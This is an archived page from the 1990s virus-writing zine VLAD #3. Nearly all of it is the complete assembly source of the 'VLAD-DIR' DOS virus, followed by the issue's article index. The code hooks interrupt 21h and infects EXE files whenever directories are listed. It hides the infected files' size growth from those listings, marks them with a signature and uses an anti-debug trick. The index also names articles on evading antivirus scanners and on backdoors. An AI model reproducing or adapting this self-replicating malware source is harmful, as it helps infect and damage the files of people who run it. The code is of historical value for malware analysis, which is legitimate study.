Virus Labs & Distribution
VLAD #3 - VLAD-DIR


;                             Darkman/VLAD
;                           Proudly Presents
;                           V L A D - D I R

vlad_dir     segment
             assume  cs:vlad_dir,ds:vlad_dir,es:vlad_dir
             org     00h

code:
             call    viruscode
viruscode:
             pop     bp                  ; Load BP from stack
             sub     bp,offset viruscode ; BP = delta offset

             push    ds                  ; Save DS at stack
             push    es                  ; Save ES at stack

             push    cs                  ; Save CS at stack
             pop     ds                  ; Load DS from stack (CS)

             mov     word ptr [bp+antidebug],20cdh
antidebug:
             mov     word ptr [bp+antidebug],0c73eh

             mov     ax,6301h            ; VLAD-DIR service
             int     21h                 ; Do it!
             cmp     ax,bx               ; Already resident?
             je      vdexit              ; Equal? Jump to vdexit

             mov     ax,es
             dec     ax                  ; Decrease AX
             mov     ds,ax               ; DS = segment of programs MCB

             cmp     byte ptr ds:[00h],'Z'
             jne     vdexit              ; Not last in chain? Jump to vdexit
             sub     word ptr ds:[03h],(memoryend-code+0fh)/10h
             sub     word ptr ds:[12h],(memoryend-code+0fh)/10h
             add     ax,ds:[03h]         ; AX = MCB + size of memory block
             inc     ax                  ; AX = first usable MCB segment

             cld                         ; Clear direction flag
             push    cs                  ; Save CS at stack
             pop     ds                  ; Load DS from stack (CS)
             mov     es,ax               ; ES = first usable program segment
             mov     cx,(codeend-code)   ; Move 651 bytes
             xor     di,di               ; Clear DI
             lea     si,[bp+code]        ; SI = offset of code
             rep     movsb               ; Move virus to high memory

             xor     ax,ax               ; Clear AX
             mov     ds,ax               ; DS = segment of interrupt table
             lea     di,int21adr         ; DI = offset of int21adr
             mov     si,(21h*04h)        ; SI = offset of interrupt 21h
             movsw                       ; Store address of interrupt 21h \
             movsw                       ; in int21adr                    /
             mov     word ptr ds:[21h*04h],offset virusint21
             mov     ds:[21h*04h+02h],es ; Intercept interrupt 21h
vdexit:
             pop     es                  ; Load ES from stack
             pop     ds                  ; Load DS from stack

             mov     ax,es
             add     ax,10h              ; Beginning of EXE file
             add     word ptr cs:[bp+csip+02h],ax

             mov     sp,word ptr cs:[bp+sssp]
             add     ax,word ptr cs:[bp+sssp+02h]
             mov     ss,ax

             db      0eah                ; Object code of jump far
csip         dd      0fff00000h          ; CS:IP of infected file
sssp         dd      ?                   ; SS:SP of infected file

virusint21   proc    near                ; Interrupt 21h of VLAD-DIR
             pushf                       ; Save flags at stack

             cmp     ax,6301h            ; VLAD-DIR service?
             je      vdservice           ; Equal? Jump to vdservice
             cmp     ah,4eh              ; Find next matching file (DTA)?
             je      getdtapath          ; Equal? Jump to getdtapath
             cmp     ah,4fh              ; Find first matching file (DTA)?
             je      infectdta           ; Equal? Jump to infectdta
             cmp     ah,11h              ; Find first matching file (FCB)?
             je      getfcbpath          ; Equal? Jump to getfcbpath
             cmp     ah,12h              ; Find next matching file (FCB)?
             je      getfcbpath          ; Equal? Jump to getfcbpath

             popf                        ; Load flags from stack
             db      0eah                ; Object code of jump far
int21adr     dd      ?                   ; Address of interrupt 21h
vdservice:
             mov     bx,ax
             popf                        ; Load flags from stack
             iret                        ; Interrupt return!
getdtapath:
             push    ax                  ; Save AX at stack
             push    di                  ; Save DI at stack
             push    si                  ; Save SI at stack
             push    es                  ; Save ES at stack

             cld                         ; Clear direction flag
             lea     di,filename         ; DI = offset of filename
             mov     si,dx
             push    cs                  ; Save CS at stack
             pop     es                  ; Load ES from stack (CS)
             mov     filenameoff,di      ; Store offset of filename
movepathdta:
             lodsb                       ; Load a byte of path
             or      al,al               ; End of path?
             je      pathdtaexit         ; Equal? Jump to pathdtaexit
             stosb                       ; Store a byte of path

             cmp     al,':'              ; Possible end of path?
             je      setnameoff          ; Equal? Jump to setnameoff
             cmp     al,'\'              ; Possible end of path?
             jne     movepathdta         ; Not equal? Jump to movepathdta
setnameoff:
             mov     filenameoff,di      ; Store offset of filename
             jmp     movepathdta
pathdtaexit:
             pop     es                  ; Load ES from stack
             pop     si                  ; Load SI from stack
             pop     di                  ; Load DI from stack
             pop     ax                  ; Load AX from stack
infectdta:
             call    dword ptr cs:int21adr

             push    ax                  ; Save AX at stack
             push    bx                  ; Save BX at stack
             push    cx                  ; Save CX at stack
             push    dx                  ; Save DX at stack
             push    di                  ; Save DI at stack
             push    si                  ; Save SI at stack
             push    ds                  ; Save DS at stack
             push    es                  ; Save ES at stack
             pushf                       ; Save flags at stack

             cld                         ; Clear direction flag

             mov     ah,2fh              ; Get Disk Transfer Address (DTA)
             int     21h                 ; Do it!

             mov     di,filenameoff      ; DI = offset of filename
             mov     si,bx           
             add     si,1eh              ; SI = offset of filename (DTA)
             push    es                  ; Save ES at stack
             pop     ds                  ; Load DS from stack (ES)
             push    cs                  ; Save CS at stack
             pop     es                  ; Load ES from stack (CS)
movenamedta:
             lodsb                       ; Load a byte of filename (DTA)
             stosb                       ; Store a byte of filename
             or      al,al               ; End of filename?
             jne     movenamedta         ; Not equal? Jump to movenamedta
             
             push    bx                  ; Save BX at stack
             push    ds                  ; Save DS at stack

             call    infectfile

             pop     es                  ; Load ES from stack (DS)
             pop     di                  ; Load DI from stack (BX)

             cmp     word ptr [si+12h],'DV'
             jne     dtaexit             ; Already infected? Jump to dtaexit

             sub     es:[di+1ah],(codeend-code)
             sbb     word ptr es:[di+1ch],00h
dtaexit:
             jmp     int21exit
getfcbpath:
             push    ax                  ; Save AX at stack
             push    di                  ; Save DI at stack
             push    si                  ; Save SI at stack
             push    es                  ; Save ES at stack

             mov     si,dx
             add     si,0a4cfh           ; SI = offset of FCB
             cmp     byte ptr [si+01h],':'
             jne     infectfcb           ; Not equal? Jump to infectfcb

             lea     di,filename         ; DI = offset of filename
             push    cs                  ; Save CS at stack
             pop     es                  ; Load ES from stack (CS)
movepathfcb:
             lodsb                       ; Load a byte of path
             or      al,al               ; End of path?
             je      pathfcbexit         ; Equal? Jump to pathfcbexit
             stosb                       ; Store a byte of path
             jmp     movepathfcb
pathfcbexit:
             mov     al,'\'
             stosb                       ; Store the last byte of the path
             mov     filenameoff,di      ; Store offset of filename
infectfcb:
             pop     es                  ; Load ES from stack
             pop     si                  ; Load SI from stack
             pop     di                  ; Load DI from stack
             pop     ax                  ; Load AX from stack

             call    dword ptr cs:int21adr

             push    ax                  ; Save AX at stack
             push    bx                  ; Save BX at stack
             push    cx                  ; Save CX at stack
             push    dx                  ; Save DX at stack
             push    di                  ; Save DI at stack
             push    si                  ; Save SI at stack
             push    ds                  ; Save DS at stack
             push    es                  ; Save ES at stack
             pushf                       ; Save flags at stack

             or      al,al               ; Filename match found?
             jne     int21exit           ; Not equal? Jump to int21exit

             cld                         ; Clear direction flag

             add     dx,0a4cfh           ; DX = offset of FCB
             mov     si,dx

             cmp     byte ptr [si],0ffh  ; Extended FCB ID?
             jne     initmovefcb         ; Not equal? Jump to initmovefcb
             add     si,07h              ; SI = offset of extended FCB
initmovefcb:
             push    si                  ; Save SI at stack
             push    ds                  ; Save DS at stack

             mov     cx,08h              ; Move 8 bytes
             mov     di,filenameoff      ; DI = offset of filename
             inc     si                  ; SI = offset of filename (FCB)
             push    cs                  ; Save CS at stack
             pop     es                  ; Load ES from stack (CS)
movenamefcb:
             lodsb                       ; Load a byte of filename (FCB)
             cmp     al,' '              ; End of filename?
             je      createext           ; Equal? Jump to createext
             stosb                       ; Store a byte of filename
             loop    movenamefcb
             inc     si                  ; Increase SI
createext:
             mov     al,'.'
             dec     si                  ; Decrease SI
             add     si,cx               ; SI = offset of extension (FCB)
             stosb                       ; Create .EXE extension
             movsw                       ; Move extension
             movsb                       ;  "       "
             xor     al,al               ; Clear AL
             stosb                       ; Create a ASCIIZ filename

             call    infectfile

             pop     es                  ; Load ES from stack (DS)
             pop     di                  ; Load DI from stack (SI)

             cmp     word ptr [si+12h],'DV'
             jne     int21exit           ; If infected jump to int21exit

             sub     es:[di+1dh],(codeend-code)
             sbb     word ptr es:[di+1fh],00h
int21exit:
             popf                        ; Load flags from stack
             pop     es                  ; Load ES from stack
             pop     ds                  ; Load DS from stack
             pop     si                  ; Load SI from stack
             pop     di                  ; Load DI from stack
             pop     dx                  ; Load DX from stack
             pop     cx                  ; Load CX from stack
             pop     bx                  ; Load BX from stack
             pop     ax                  ; Load AX from stack

             retf    02h                 ; Return far and pop a word!
             endp

infectfile   proc    near                ; Infect a EXE file
             mov     ax,3d00h            ; Open file (read)
             lea     dx,filename         ; DX = offset of filename
             push    cs                  ; Save CS at stack
             pop     ds                  ; Load DS from stack (CS)
             int     21h                 ; Do it!
             jc      infectexit          ; Error? Jump to infectexit

             xchg    ax,bx               ; Exchange AX with BX

             mov     ax,1220h            ; Get system file table number
             int     2fh                 ; Do it! (multiplex)

             push    bx                  ; Save BX at stack
             mov     ax,1216h            ; Get address of system FCB
             mov     bl,es:[di]          ; BL = system file table entry
             int     2fh                 ; Do it! (multiplex)
             pop     bx                  ; Load BX from stack

             mov     byte ptr es:[di+02h],02h

             mov     ax,5700h            ; Get file's date/time
             int     21h                 ; Do it!
             push    cx                  ; Save CX at stack
             push    dx                  ; Save DX at stack

             cmp     word ptr es:[di+28h],'XE'
             jne     closefile           ; Not equal? Jump to closefile
             cmp     byte ptr es:[di+2ah],'E'
             jne     closefile           ; Not equal? Jump to closefile

             mov     ah,3fh              ; Read from file
             mov     cx,1ch              ; Read 28 bytes
             lea     dx,exeheader        ; DX = offset of exeheader
             mov     si,dx
             int     21h                 ; Do it!

             cmp     word ptr [si],'MZ'  ; EXE file?
             je      infecttest          ; Equal? Jump to infecttest
             cmp     word ptr [si],'ZM'  ; EXE file?
             je      infecttest          ; Equal? Jump to infecttest
closefile:
             mov     ax,5701h            ; Set file's date/time
             pop     dx                  ; Load DX from stack
             pop     cx                  ; Load CX from stack
             int     21h                 ; Do it!

             mov     ah,3eh              ; Close file
             int     21h                 ; Do it!
infectexit:
             ret                         ; Return!
infecttest:
             cmp     word ptr [si+12h],'DV'
             je      closefile           ; If infected jump to closefile

             cmp     word ptr [si+1ah],00h
             jne     closefile           ; Internal overlay? go to closefile

             push    si                  ; Save SI at stack

             push    cs                  ; Save CS at stack
             pop     es                  ; Load ES from stack (CS)

             add     si,0eh              ; SI = offset of SS:SP
             lea     di,sssp             ; DI = offset of sssp

             movsw                       ; Store original SP
             movsw                       ; Store original SS

             lodsw                       ; SI = offset of CS:IP
             lea     di,csip             ; DI = offset of csip

             movsw                       ; Store original IP
             movsw                       ; Store original CS

             pop     si                  ; Load SI from stack

             mov     ax,4202h            ; Move file pointer to the end
             cwd                         ; Clear DX
             mov     cx,dx               ; Clear CX
             int     21h                 ; Do it!

             push    ax                  ; Save AX at stack
             push    dx                  ; Save DX at stack

             mov     cx,10h
             div     cx                  ; Convert bytes to paragraphs

             sub     ax,word ptr [si+08h]

             mov     word ptr [si+14h],dx
             mov     word ptr [si+16h],ax

             add     dx,offset memoryend ; Calculate virus stack

             mov     word ptr [si+0eh],ax
             mov     word ptr [si+10h],dx

             pop     dx                  ; Load DX from stack
             pop     ax                  ; Load AX from stack

             add     ax,(codeend-code)   ; Add the length of the virus
             adc     dx,00h              ; Convert to 32 bit

             mov     cx,512
             div     cx                  ; Divide by pages

             inc     ax                  ; Increase AX

             mov     word ptr [si+04h],ax
             mov     word ptr [si+02h],dx

             mov     word ptr [si+12h],'DV'

             mov     ah,40h              ; Write to file
             mov     cx,(codeend-code)   ; Write 651 bytes
             cwd                         ; DX = offset of code
             int     21h                 ; Do it!

             mov     ax,4200h            ; File pointer to the beginning
             cwd                         ; Clear DX
             mov     cx,dx               ; Clear CX
             int     21h                 ; Do it!

             mov     ah,40h              ; Write to file
             mov     cx,1ch              ; Write 28 bytes
             mov     dx,si               ; DX = offset of exeheader
             int     21h                 ; Do it!

             dec     si                  ; Decrease SI
             jmp     closefile
             endp

virusname    db      ' [VLAD-DIR]'       ; Name of the virus
virusauthor  db      ' [Darkman/VLAD]'   ; Author of the virus
codeend:
filenameoff  dw      ?                   ; Offset of DTA/FCB filename
filename     db      4ch dup(?)          ; DTA/FCB filename
exeheader    db      1ch dup(?)          ; EXE header
memoryend:

vlad_dir     ends
end          code


- VLAD #3 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

The Press
ARTICLE.2_2       Fooling TBScan
ARTICLE.2_3       Backdoors
ARTICLE.2_4       Tracing Int21
ARTICLE.2_5       Replication
ARTICLE.2_6       VSUM denial
ARTICLE.2_7       Proview

ARTICLE.3_1      

TBTSR Checking
ARTICLE.3_2       TBScan Flags
ARTICLE.3_3       HD Port Reading
ARTICLE.3_4       HD Port Writing
ARTICLE.3_5       TBAV Monitor
ARTICLE.3_6       Micro128 Disasm
ARTICLE.3_7       Aust403 Disasm

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Hemlock
ARTICLE.4_3       Antipode
ARTICLE.4_4       Insert
ARTICLE.4_5       VLAD-DIR
ARTICLE.4_6       Quantum Magick
ARTICLE.4_7       Mon Ami La Pendule

ARTICLE.5_1      

Monkeys
ARTICLE.5_2       Small Virus
ARTICLE.5_3       Catch-22
ARTICLE.5_4       ART Engine
ARTICLE.5_5       Megastealth
ARTICLE.5_6       Virus Scripts
ARTICLE.5_7       What's Next ?

About VLAD - Links - Contact Us - Main